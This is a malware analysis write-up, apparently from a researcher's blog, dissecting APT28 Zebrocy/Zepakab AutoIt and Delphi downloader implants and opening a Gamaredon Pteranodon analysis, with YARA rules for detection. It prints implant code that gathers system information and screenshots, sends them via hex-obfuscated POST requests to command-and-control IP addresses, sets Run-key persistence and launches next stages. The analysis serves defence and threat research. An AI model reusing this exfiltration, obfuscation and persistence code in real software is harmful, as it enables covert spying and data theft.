($reggetkey & "\" & $appkey, "DisplayName"), 3)
  $asoft = $asoft & $asoftstingtemp & @CRLF
  $i += 1
 WEnd
 $sys_info = "                --------System info-------" & @CRLF
 $sys_info = $sys_info & "TempDir: " & @TempDir & @CRLF
 $_getddive = DriveGetDrive("ALL")
 $sys_info = $sys_info & "Program start: " & @ScriptDir & "\" & @ScriptName & @CRLF & @CRLF & @CRLF
 For $dd = 1 To $_getddive[0]
  $sys_info = $sys_info & "Name : " & $_getddive[$dd] & " La" & "bel: "
  $sys_info = $sys_info & DriveGetLabel($_getddive[$dd] & "\") 
        & " FR" & "EE : " & DriveSpaceFree($_getddive[$dd] & "\") & @CRLF
 Next
 $sys_info_w_system_info = ""
 $sys_info_w_system_info = "                --------Windows system info-------" & @CRLF
 $w_system_info = _getdosoutput("systeminfo")
 $sys_info_w_system_info = $sys_info_w_system_info & $w_system_info & @CRLF & @CRLF & @CRLF
 $sys_info_sprocesslist = ""
 $sys_info_sprocesslist = "                --------Processes-------" & @CRLF
 $aprocesslist = ProcessList()
 $sprocesslist = _arraytostring($aprocesslist, " ")
 $sys_info_sprocesslist = $sys_info_sprocesslist & $sprocesslist & @CRLF & @CRLF & @CRLF
 Return $sys_info_sprocesslist & $asoft & $sys_info & $sys_info_w_system_info
EndFunc

C. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Thu Feb 15 04:16:27 2018)

The sample timestamp shows compilation timestamp of Thursday, February 15 04:16:27 2018 UTC with the same version language code set to English, Great Britain. The malware version describes itself as “Certificate verify checker.” The Zebrocy/Zepakab leverages AutoIT GUI API (with hidden Tray Icon) but adds hex encoding to obfuscate its values. It is interesting that this malware has the similar naming convention to the Golang version with the identical name of “getsnd” for the malware bot ID.
The malware also fakes itself as Microsoft PowerPoint and has the logic to take a desktop screenshot.
The malware adds persistence to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” as “MSCertificate” and installs itself as “%APPDATA%\Microsoft\Settings\Safety Warning Level\iecslss.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 3 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main()
("JKSHDKG")
(48, "Microsoft PowerPoint", "PowerPoint can't read the outline from " & 
(@ScriptFullPath, ".exe", ".pptx") & " . No text converter is installed for this file type.")
("iecslss.exe")  0535
$getsnd = getsnd()
$systeminformation = getsysinfo()
; hxxp://220[.]158[.]216[.]127/search-sys-update-release/base-sync/db7749sc.php
$surl = _hextostring
("687474703A2F2F3232302E3135382E3231362E3132372F7365617263682D7379732D7570646174652D72656C656173652F626173652D73796E632F64623737343973632E706870")
$screen = _get_screen()
$data = _sendpost($surl, $systeminformation, $screen, $getsnd)
_savetofile($data)
main()

1. “_getscreen()” Function
The malware saves the desktop screenshot to “%TEMP%\GDIPlus_Image1.jpg” via the following function:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab "_getscreen" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _get_screen()
; "\GDIPlus_Image1.jpg"
_screencapture_capture(@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
$text = (@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
(@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
_stringtohex($text)
EndFunc

2. “_sendpost()” Function
Finally, the malware sends the collected information to the server via decoding hex-encoding URI parameters and WinHTTP header values.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zebrocy/Zepakab "_sendpost" Function ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_sendpost($surl, $sysinfo, $screen, $getsnd)
$i = 0
; dbgate= &sysinfo & &win32= & $screen
$spd = _hextostring("6462676174653D") 
& $sysinfo & _hextostring("2677696E33323D") & $screen
$ohttp = ("winhttp.winhttprequest.5.1")
; POST $surl & ?next= & $getsnd
$ohttp.open(_hextostring("504F5354"), $surl & _hextostring("3F6E6578743D") 
& $getsnd, 40)
; Content-Type application/x-www-form-urlencoded
$ohttp.setrequestheader(_hextostring("436F6E74656E742D54797065"), 
_hextostring("6170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F646564"))
$ohttp.send($spd)
$oreceived = $ohttp.responsetext
$ostatuscode = $ohttp.status
$ostatuscode = 2005
($oreceived)
$i = $i + 1
$i = 10518

D. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Wed Sep 05 01:23:45 2018)
The sample timestamp shows compilation timestamp of Wednesday, September 05 01:23:45 2018 UTC with the version language codepage set to English, Great Britain. The malware version describes itself as “Program Compatibility Assistant” impersonating Microsoft, Inc. The Zebrocy/Zepakab leverages AutoIT GUI API continues to leverages hex-encoding to obfuscate its values.
The main “checkupdate()” function is used to communicate with the server on HTTPS.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab "checkupdate" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
checkupdate()
; rcd=
$postdata = _hextostring("7263643D") & _postdate()
; https://145.249.106.198/
$host = _hextostring("68747470733A2F2F3134352E3234392E3130362E3139382F0D0A")
; client/en/community/supportcli.php
$uri = _hextostring("636C69656E742F656E2F636F6D6D756E6974792F737570706F7274636C692E706870")
; Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
$hopen = _winhttpopen(_hextostring("4D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B20574F5736343B2072763A32352E3029204765636B6F2F32303130303130312046697265666F782F32352E30"))
$hconnect = _winhttpconnect($hopen, $host)
; POST
$sreturned = _winhttpsimplesslrequest($hconnect, _hextostring("504F5354"), $uri, 41, $postdata, 41, 41, 41, 41, 41, 1)
_winhttpclosehandle($hconnect)
_winhttpclosehandle($hopen)
parsefile($sreturned)
(20000)
checkupdate()

1. “parsestring()” and “parsefile()” Functions
The Zebrocy/Zepakab malware leverages parse for information and delay walking through directories hex-decoding to $path.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab main excerpt  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
parsestring($path)
$delay = 20000
;%[1-5]%
$path = ($path, _hextostring("253125"), @AppDataCommonDir)
$path = ($path, _hextostring("253225"), @AppDataDir)
$path = ($path, _hextostring("253325"), @LOCALAPPDATADIR)
$path = ($path, _hextostring("253425"), @StartupDir)
$path = ($path, _hextostring("253525"), @SystemDir)
$path
parsefile($data)
$delay = (3, 7) * 62000
$ares = ($data, @CRLF)
@error = 15
($delay)

E. Zebrocy/Zepakab Downloader Implant (32-Bit for 32-bit AutoIt Compiled) (Wed Jan 16 12:10:59 2019)

The recent Zebrocy/Zepakab AutoIt downloader implant was UPX-packed and packed on Wed Jan 16 12:10:59 2019 UTC with the unpacked sample compilation timestamp of Wed Jan 16 06:10:59 2019 UTC) with the language set to English, Great Britain [LANG_ENGLISH,SUBLANG_ENGLISH_UK].
[IMAGE_FILE_HEADER]
0x114      0x0   Machine:                   0x14C     
0x116      0x2   NumberOfSections:          0x3       
0x118      0x4   TimeDateStamp:             0x5C3F1F53 [Wed Jan 16 12:10:59 2019 UTC]
0x11C      0x8   PointerToSymbolTable:      0x0       
0x120      0xC   NumberOfSymbols:           0x0       
0x124      0x10  SizeOfOptionalHeader:      0xE0      
0x126      0x12  Characteristics:           0x122     
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LARGE_ADDRESS_AWARE

 

The payload has ProductName “Microsoft Windows Operating System” with the FileDescription “ServicesTray.”
The malware flow excerpt is as follows setting the downloader as “srhost.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab main flow excerpt ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Opt("trayiconhide", 1)
$uri = "locale/protocol/volume.php"
$host = "hxxps://185[.]236[.]203[.]53/"
$call = True
$fp = "c:\ProgramData\Windows\Microsoft\Settings\srhost.exe"
$copybaras = ""
$argv = argv()
main()

The malware contained the following main functions:

Command Name Description
main() Convert host data to Base64 with padded “F” on the reverse length of Base64 data blob and appended to “img=” (until 5)
info() -> _computergetoss() Parse WMI “SELECT * FROM Win32_OperatingSystem”
scr() Obtains desktop screenshot
parseresponse() Installs to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run as “Security_Maintenance”
crocodile() Run the next stage via ShellExecute API
The “main” function essentially Base64’s collected host info and desktop screenshot blob with padding it with the algorithm concatenating “F” to reverse string length of the host collected data Base64 blob until 5 and adding it along with the Base64 host and desktop screenshot and appending to “img=” with the HTTPS server communication. This small addition prevents simple Base64 conversion of the data, which is done automatically by many network traffic analyzers with the goal to avoid basic plaintext traffic detection.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;; Zebrocy/Zepakab "main" function ;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func main()
 While $call
  $fo = FileOpen($fp, 2 + 8 + 16)
  $si = StringReplace(base64(info()), "\r\n", "")
  $sc = StringReplace(base64(scr()), "\r\n", "")
  If $si = "" Then Exit
  If $sc = "" Then Exit
  $coun = STRINGREVERSE(StringLen($si))
  For $k = StringLen($coun) To 5
   $coun = $coun & "F"
  Next
  $coun = "img=" & $coun & $si & $sc
  connect($coun, $fo)
  $ap = $fo
  crocodile($ap)
  If $call Then
   Sleep(60000)
  Else
   ExitLoop
  EndIf
 WEnd
EndFunc
The malware fingerprints host by parsing results of Windows Management Instrumentation (WMI) query of “SELECT * FROM Win32_OperatingSystem”.

Yara Signature

import "pe"
import "hash"
rule apt28_zebrocy_autoit_loader {
meta:
   reference = "Detects Possible Autoit APT28 Zebrocy downloader"
   author = “@VK_Intel / @sysopfb"
   date = "2019-01-21; Edited: 2019-01-22"
   type = "experimental"
strings:
// "AU3!EA068" header
$au3 = { 41 55 33 21 45 41 30 36 4D }
$autscr = "/AutoIt3ExecuteLine" fullword wide
$arch = " $MS = "MS " ascii wide
$Microsoft = "Microsoft Inc." ascii wide
$s0 = "PROCESSGETSTATS" fullword wide
$s1 = "SHELLEXECUTEWAIT" fullword wide
$s2 = "WINGETPROCESS" fullword wide
$s3 = "0Expected a \"=\" operator in assignment statement.*Invalid keyword at the start of this line." fullword wide
$s4 = "SHELLEXECUTE" fullword wide
$s5 = "SCRIPTNAME" fullword wide /* base64 encoded string 'H$H=3@0' */
$s6 = "PROCESSSETPRIORITY" fullword wide
$s7 = "HTTPSETUSERAGENT" fullword wide
$s8 = "PROCESSWAITCLOSE" fullword wide
$s9 = "PROCESSCLOSE" fullword wide
$s10 = "PROCESSWAIT" fullword wide
$s11 = "PROCESSEXISTS" fullword wide
$s12 = "PROCESSORARCH" fullword wide
$s13 = "AUTOITWINGETTITLE" fullword wide
condition:
uint16(0) == 0x5a4d and ($MS or $Microsoft) and $au3 and $autscr and $arch and filesize < 1500KB and all of ($s*) and pe.number_of_resources > 7 and
(for any i in (0..pe.number_of_resources - 1):
(pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA and hash.md5(pe.resources[i].offset, 96) == "84a7952bb4bdb93c11e32fe2de63b00c"))
}

Let’s Learn: (Over)Analyzing One of the Latest APT28 Zepakab/Zebrocy Delphi Implant

Goal: Analyze one of the latest APT28 Zepakab/Zebrocy Delphi implant exploring its functionality (pseudo-source code level).

https://platform.twitter.com/widgets.js
Source:
APT28 Zepakab/Zebrocy implant (MD5: 3e713a838a68259ae2f9ef2eed05a761
Outline:

I. Background & Executive Summary
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. 'MainProcessor' Function
1. 'GetDesktopScreenshot' 
2. 'GetHostinformation'
3. 'PostDataParameters'
4. 'CheckInstall'
5. Execute Next Stage & Exit
B. 'GetHostinformation' Function
C. 'PostDataParameters' Function
D. 'MachineID' Function
E. 'LocalInstall' Function
F. 'RegistryInstall' Function
III. Yara Signature

I. Background & Executive Summary
This is a continuation of the APT28 Zepakab/Zebrocy implant malware analysis from previous analysis of these types of malware (1) (2) (3)(4). APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
One of the notable peculiarities is the malware hex-encoding with padded “@” (e.g., user-agent parser string), which meant to slightly complicate direct hex decoding of malware values.

The analysis explores pseudo-coded C++ code with Delphi Borland constructs. It is interesting the group continues to leverage Qhoster  AS49544 I3DNET, NL for its server (“../action-center/..” path) as the same exact server was noted communicated to the totally different URI (“../company-device-support/../” path) on the same exact server as reported by ESET earlier.
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. ‘MainProcessor’ Function
The APT28 main function calls the main functions of the malware as follows:
1. ‘GetDesktopScreenshot’ 
The sequence of Windows API and Delphi constructs to obtain the Desktop screenshot as (‘.jpg’) is as follows:

GetDesktopWindow -> GetDC -> Forms::TScreen::GetDesktopWidth ->
Forms::TScreen::GetDesktopHeight -> Graphics::TBitmap::TBitmap -> 
Jpeg::TJPEGImage::TJPEGImage -> Graphics::TBitmap::GetCanvas ->
Graphics::TCanvas::GetHandle -> BitBlt -> GetDesktopWindow > ReleaseDC

2. ‘GetHostinformation’
The malware obtains the host information enumerating ‘systeminfo’ and ‘taskskist’ combined with the current date and enumerated drives.
3. ‘PostDataParameters’
It leverages this function to call the server for the next stage.
4. ‘CheckInstall’
The sequence of Windows API calls to check if the payload exists locally is as follows:

v2 = FindFirstFileA(v1, &FindFileData) ->
if ((if v2 = (HANDLE)0xFFFFFFFF || (FindClose(FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY) and 0
//////////////////////////////
/////// Other than that //////
//////////////////////////////
FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow);

5. Execute Next Stage & Exit
The malware executes the next stage via ShellExecuteA API and exiting via Forms::TApplication::Terminate.
The relevant main pseudo-coded function is as follows:

////////////////////////////////////////////////
////// APT28 Zepakab MainProcessor Excerpt /////
////////////////////////////////////////////////
// 'hxxp://45[.]124[.]132[.]127/action-center/centerforserviceandaction/
// service-and-action[.]php'
System::__linkproc__ LStrLAsg(&v25, &str_687474703A2F2F3[1]);
GetDesktopScreenshot((int)&v18);
GetHostinformation((int)&v17, a3, a4, a5);
PostDataParameters(v25, (int)&v26, a2, a3, a4);
Sleep_0(4009u);
FindFirstFileA_Attrib
ShellExecuteA
do
{
GetDesktopScreenshot((int)&v18); // Make a desktop screenshot
System::__linkproc__ LStrAsg(v24 + 896, v18);
GetHostinformation((int)&v17, a3, a4, a5); // Collect host information
System::__linkproc__ LStrAsg(v24 + 892, v17);
PostDataParameters(v25, (int)&v26, a2, a3, a4); // Post host infromation to server
trim_process(v26, (int)&v16, a2, a3, a4);
System::__linkproc__ LStrLAsg(&v26, v16);
Sleep_0(4009u); // Sleep for 4009 miliseconds
hex_decode(v26, (int)&v15, a2, a3, a4);
LStrToPChar(v24, v15, *(_DWORD *)(v24 + 888));
if ( ++*(_DWORD *)(v24 + 0x388) >= 5 )
System::__linkproc__ Halt0();
// Check if installed via FindFirstFileA (FindFileData) attribute
a2 = CheckInstall(*(_DWORD *)(v24 + 888));
if ( a2 <= 0 )
// if not, sleep for 18000 miliseconds
Sleep_0(18000u);
}
while ( a2 <= 0 );
Sleep_0(3000u);
v11 = &savedregs;
v10 = &loc_4E6E36;
v9 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v9);
v7 = (const CHAR *)System::__linkproc__ LStrToPChar(*(_DWORD *)(v24 + 888));
// Run payload via ShellExecuteA
ShellExecuteA(0, 0, v7, 0, 0, 0);
__writefsdword(0, v9);
// Terminate application
Forms::TApplication::Terminate(*(Forms::TApplication **)off_4EF164[0]);
__writefsdword(0, v12);
v14 = (int *)&loc_4E6E7B;
System::__linkproc__ LStrArrayClr(&v15, 9);
return System::__linkproc__ LStrArrayClr(&v25, 2);
}

B. ‘GetHostinformation’ Function
The malware obtains the host information via running ‘SYSTEMINFO & TASKLIST’ commands (initially, hex-encoded padded with “@”) via cmd.exe \c pipe function concatenated with the current timestamp as leveraging Sysutils::Now and Sysutils::DateTimeToString.
Then, it obtains the drive information via GetLogicalDriveStringsA and GetDriveTypeA and querying for DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE and concatenating the output.
For example:
UINT drive = GetDriveTypeA(v5);
if ( drive >= 2 && drive <= 4 ) // DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE
The relevent pseudo-coded function is as follows:

////////////////////////////////////////////////
////// Zepakab GetHostinformation Excerpt /////
////////////////////////////////////////////////
int __usercall GetHostinformation(int a1, int a2, int a3, long double a4)
{
...
v4 = a1;
v15 = &savedregs;
v14 = &loc_4E6499;
v13 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v13);
System::__linkproc__ LStrLAsg(&v24, &str_[1]);// 'SYSTEMINFO & TASKLIST'
while ( System::Pos(&str___2[1], v24) > 0 ) // '@'
{
v5 = System::Pos(&str___2[1], v24);
System::__linkproc__ LStrDelete(&v24, v5, 1);
}
System::__linkproc__ LStrLAsg(&v23, &str____18[1]);//'\r\n'
System::__linkproc__ LStrClr();
Sysutils::Now();
__asm { fstp [ebp+var_18] }
Sysutils::DateTimeToString(LODWORD(v21), HIDWORD(v21));// Create Date Timestamp Now()
System::__linkproc__ LStrCat3(&v25, v22, v23);
v6 = v25;
GetDriveData((int)&v20, a2); // GetDrive Information 
// (removable fixed remote, size total: , size free: )
System::__linkproc__ LStrCatN(&v25, 4, v7, v13, v6, v20, v23, v23);
v8 = v25;
v9 = *off_4EF164[0];
unknown_libname_1118();
System::__linkproc__ LStrCatN(&v25, 3, v10, v14, v13, v8, v19, v23);
hex_decode(v24, (int)&System::AnsiString, v4, a2, a3);
Sysutils::Trim(System::AnsiString);
PipeCmdReadFile(v17, (int)&v18, v4, a2); // CMD Command Runner: 
 // 'cmd.exe /c pipe CreateProcessA'
  System::__linkproc__ LStrCat(&v25, v18);
  while ( System::Pos(&str___5[1], v25) > 0 )   // '&'
  {
    v11 = System::Pos(&str___5[1], v25);
    *(_BYTE *)(j_unknown_libname_87_0(&v25) + v11 - 1) = 44;
  }
  System::__linkproc__ LStrAsg(v4, v25);
  __writefsdword(0, v13);
  v15 = (int *)&loc_4E64A0;
  System::__linkproc__ LStrArrayClr(&System::AnsiString, 5);
  return System::__linkproc__ LStrArrayClr(&v22, 4);
}

C. ‘PostDataParameters’ Function
The malware contactenates and adds the following decoded URI parameters as follows (with the hardcoded padded with ‘@’ user-agent as “Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1”):

info_w
syss
action

It leverages the following Delphi constructs:

TIdCustomHTTP
cls_IdHTTP_TIdHTTP
Idhttp::TIdCustomHTTP::GetRequestHeaders()
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8)
TIdCustomHTTP with Classes::TStrings

The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
////// Zepakab PostDataParameters Function /////
////////////////////////////////////////////////
int __usercall PostDataParameters(int a1, int a2, int a3, int a4, int a5)
{
...
v18 = 0;
v19 = 0;
v20 = 0;
v21 = a2;
v23 = a1;
System::__linkproc__ LStrAddRef(v15, v16, v17);
v14 = &savedregs;
v13 = &loc_4E69A5;
v12 = (int *)__readfsdword(0);
__writefsdword(0, (unsigned int)&v12);
LOBYTE(v5) = 1;
v22 = (System::TObject *)unknown_libname_57(cls_Classes_TStringList, v5);
hex_decode((int)&str_737973733D[1], (int)&v19, a3, a4, a5);// 'syss='
System::__linkproc__ LStrCat(&v19, *(_DWORD *)(dword_4F4630 + 892));
(*(void (__fastcall **)(System::TObject *, int, _DWORD))(*(_DWORD *)v22 + 56))(v22, v19, *(_DWORD *)v22);
hex_decode((int)&str_616374696F6E3D[1], (int)&v18, a3, a4, a5);// 'action='
System::__linkproc__ LStrCat(&v18, *(_DWORD *)(dword_4F4630 + 896));
(*(void (__fastcall **)(System::TObject *, int))(*(_DWORD *)v22 + 56))(v22, v18);
v24 = ClassCreate((Idbasecomponent::TIdInitializerComponent *)&cls_IdHTTP_TIdHTTP, 1);
v12 = &savedregs;
v11 = &loc_4E6968;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
System::__linkproc__ LStrLAsg(&v20, &str__M__o_z_il_la__[1]);
// 'Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1'
while ( System::Pos(&str___3[1], v20) > 0 ) // '@'
{
v6 = System::Pos(&str___3[1], v20);
System::__linkproc__ LStrDelete(&v20, v6, 1);
}
v7 = Idhttp::TIdCustomHTTP::GetRequestHeaders(v24);
System::__linkproc__ LStrAsg(v7 + 136, v20);
LOBYTE(v8) = 1;
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8);
*((_BYTE *)v24 + 288) = 1;
TIdCustomHTTP_0(a3, a4, a5, (int)&savedregs); // '?info_w='
__writefsdword(0, v10);
System::TObject::Free(v24);
System::TObject::Free(v22);
__writefsdword(0, (unsigned int)v13);
v15 = &loc_4E69AC;
System::__linkproc__ LStrArrayClr(&v18, 3);
return System::__linkproc__ LStrClr();
}

D. ‘MachineID’ Function
The malware ID is generated GetVolumeInformationA(c:\\) of VolumeNumber concatenated with “-” and computer name via GetComputerNameA API return.
The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// APT28 Delphi MachineID Function ///////
////////////////////////////////////////////////
int __usercall MachineID(int a1, int a2)
{
...
  MaximumComponentLength = 0;
  v11 = 0;
  v10 = 0;
  v9 = 0;
  v8 = a2;
  v2 = a1;
  v7 = &savedregs;
  v6 = &loc_4E5C66;
  v5 = (CHAR *)__readfsdword(0);
  __writefsdword(0, (unsigned int)&v5);
  LStrClr((int)&str_0_23[1], 16, a1);
  if ( GetVolumeInformationA("c:\\", 0, 0, &VolumeSerialNumber, &MaximumComponentLength, \
&MaximumComponentLength, 0, 0) )
  {
    GetComputerNameA_0(v5, v6);
    IntToHexStrCat(v11, (int)&v14);
    v3 = v14;
    if ( v14 )
      v3 = *(_DWORD *)(v14 - 4);
    if ( v3 < 8 )
    {
      LStrClr((int)&str___87[1], 17, (int)&v10);// '-'
      System::__linkproc__ LStrCat(&v14, v10);
    }
    System::__linkproc__ LStrCopy(&v14);
    Sysutils::IntToHex(VolumeSerialNumber, 8);
    System::__linkproc__ LStrCat3(v2, v9, v14);
  }
  __writefsdword(0, (unsigned int)v7);
  v9 = &loc_4E5C6D;
  System::__linkproc__ LStrArrayClr(&v9, 3);
  return System::__linkproc__ LStrClr();
}

E. ‘LocalInstall’ Function
The ‘LocalInstall’ functions leverages hex decoding function coupled with GetEnvironmentVariable(%APPDATA%) concactenating with the LStrCat3 the decoded “\Notification\” to create local install path as “%APPDATA%\Notification\”.
The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// LocalInstall Function ////////////
////////////////////////////////////////////////
int __usercall LocalInstall(int a1, int a2, int a3)
{
v10 = 0;
v9 = 0;
v3 = a1;
v8 = &savedregs;
v7 = &loc_4E6BC8;
v6 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v6);
hex_decode((int)&str_5C4E6F746966696[1], (int)&v10, a1, a2, a3);// '\\Notification\\'
v4 = v10;
Sysutils::GetEnvironmentVariable((const int)&str_APPDATA[1]);// '%APPDATA%'
System::__linkproc__ LStrCat3(v3, v9, v4);
__writefsdword(0, v6);
v8 = (int *)&loc_4E6BCF;
return System::__linkproc__ LStrArrayClr(&v9, 2);
}
if ( !v26 )
{
v5 = *off_4EF164[0];
unknown_libname_1118();
Sysutils::ExtractFilePath(System::AnsiString);
}
hex_decode((int)&str_6D6472762E65786[1], (int)&v21, a2, a3, a4);// 'mdrv.exe'
System::__linkproc__ LStrCat3(v24 + 888, v26, v21);

...
}

F. ‘RegistryInstall’ Function
The ‘RegistryInstall’ function sets up the malware persistence in

'Software\Microsoft\Windows\CurrentVersion\Run' disguised as 'UpdDriver'

The relevant pseudo-coded function is as follows:

////////////////////////////////////////////////
//////// RegistryInstall Function ////////////
////////////////////////////////////////////////
int __usercall RegistryInstall(int a1, int a2, int a3)
{
...

v7 = 0;
v6 = &savedregs;
v5 = &loc_4E6FAE;
v4 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v4);
hex_decode((int)&str_557064447269766[1], (int)&v7, a1, a2, a3);// 'UpdDriver'
// 'Software\Microsoft\Windows\CurrentVersion\Run'
WriteKey(&str_Software_Micros[1], v7, *(_DWORD *)(dword_4F4630 + 888));
__writefsdword(0, v4);
v6 = (int *)&loc_4E6FB5;
return System::__linkproc__ LStrClr();
}

III. Yara Signature

rule apt28_zepakab_delphi_implant {
   meta:
      reference = "Detects APT28 Zepakab/Zebrocy Delphi Implant"
      author = "@VK_Intel"
      date = "2019-01-09"
      hash1 = "cd925e2464d251f02b4d425e301acf276e13eeccbbf5996ade5a6f355802abb7"
      type = "experimental"
strings:
      $b0 = "http://www.borland.com/namespaces/Types" fullword ascii wide
      $b1 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii wide
      $ap0 = "ShellExecuteA" fullword ascii wide
      $ap1 = "GetDriveTypeA" fullword ascii wide
      $ap2 = "FindFirstFileA" fullword ascii wide
      $ap3 = "GetDesktopWindow" fullword ascii wide
      $ap4 = "GetEnvironmentVariableA" fullword ascii wide
      $ap5 = "BitBlt" fullword ascii wide
      $ap6 = "GetDriveTypeA" fullword ascii wide
      $sleep = "Sleep" fullword ascii wide
      $sysutils = { 79 73 55 74 69 6c 73 }
condition:
    ( uint16(0) == 0x5a4d and filesize > 1000KB and all of ($b*) and all of ($ap*) and #sleep > 1 and $sysutils)
}

 

Let’s Learn: Deeper Dive into Gamaredon Group Pteranodon Implant Version ‘_512’

Goal: Reverse engineer and review the Gamaredon Group Pteranodon Implant (including its batch scripts and decoding mechanism).

https://platform.twitter.com/widgets.js Source:
Original .SFX binary (MD5: f8e884b75216c3e054e9869f933194e5)
‘23910.cmd’ (MD5: 34ff17db1d4efff89cfee8d03d48e5d7)
‘22944.cmd’ (MD5: 197a825d4bfeb093a3c4b969fd4c7338)
‘15485.cmd’ (MD5: 265c3c01f267b699ef0e5c0b8e4a5715
2750.exe’ (MD5: 9136ffa83ef2415a76d437a303e9b38e)
dec_15875.exe” (MD5: 2651ee62f76756a8941ef6632577e427)
Outline:

I. Background & Summary
II. Malware Installation: Batch '.cmd' Scripts
A. '23910.cmd' (previously known as "Wariables.cmd" and "War.cmd" combined)
B. '22944.cmd' (previously known as "id.cmd")
C. '15485.cmd' (previously known as "usb.cmd")
III. Decoding Xor Utility '2750.exe' (previously known as "Crypt.exe")
IV. "dec_15875.exe" wget Binary
IV. Yara Signature

I. Background & Summary
While looking into one of the latest Pterodo/Pteranodon toolkit samples attributed to Gamaredon Group caught by @DrunkBinary, I decided to take a deeper dive into the malware chain and associated tools and scripts. Notably, packaged as self-extracting zip-archive (.SFX), the malware implant contains batch scripts, XOR decoder tool, and obfuscated code. It appears that this very malware contains hardcoded malware version of “_520”.
It is notable that this Gamaredon group was reportedly targeting Ukrainian military and law enforcement as it was reported by CERT-UA. In of the alerts, CERT-UA alerted of the Pterodo infections as follows targeting Ukrainian government:

CERT-UA together with the Foreign Intelligence Service of Ukraine found new modifications of Pterodo-type malware on computers of state authorities of Ukraine, which is likely to be the preparatory stage for a cyber attack. This virus collects system data, regularly sends it to command-control servers and expects further commands.

By and large, malware analysis revealed that the embedded tools include many Russian language artifacts including Cyrillic character encoding “1251” setup (“срсh 1251”, hardcoded Russian-language staged folder “Новая Папка,” command-and-control URI parameters transliterated from Russian (e.g., “versiya“). Among other functionality, the malware has a removable drive (e.g., USB) spreader. 
It is notable that one of the malware tools “Crypt.exe,” which is a simple XOR encryptor, appears to be a copy/paste of the GitHub project linked to the developer under the username “asu2010” on GitHub as well as the article on the Russian portal Habrahabr by another “BlackTester” referencing the same GitHub. 
One of the malware oddities includes the hardcoded extension “CMG” in the parser, which is not used by the malware but possibly meant for chess application.
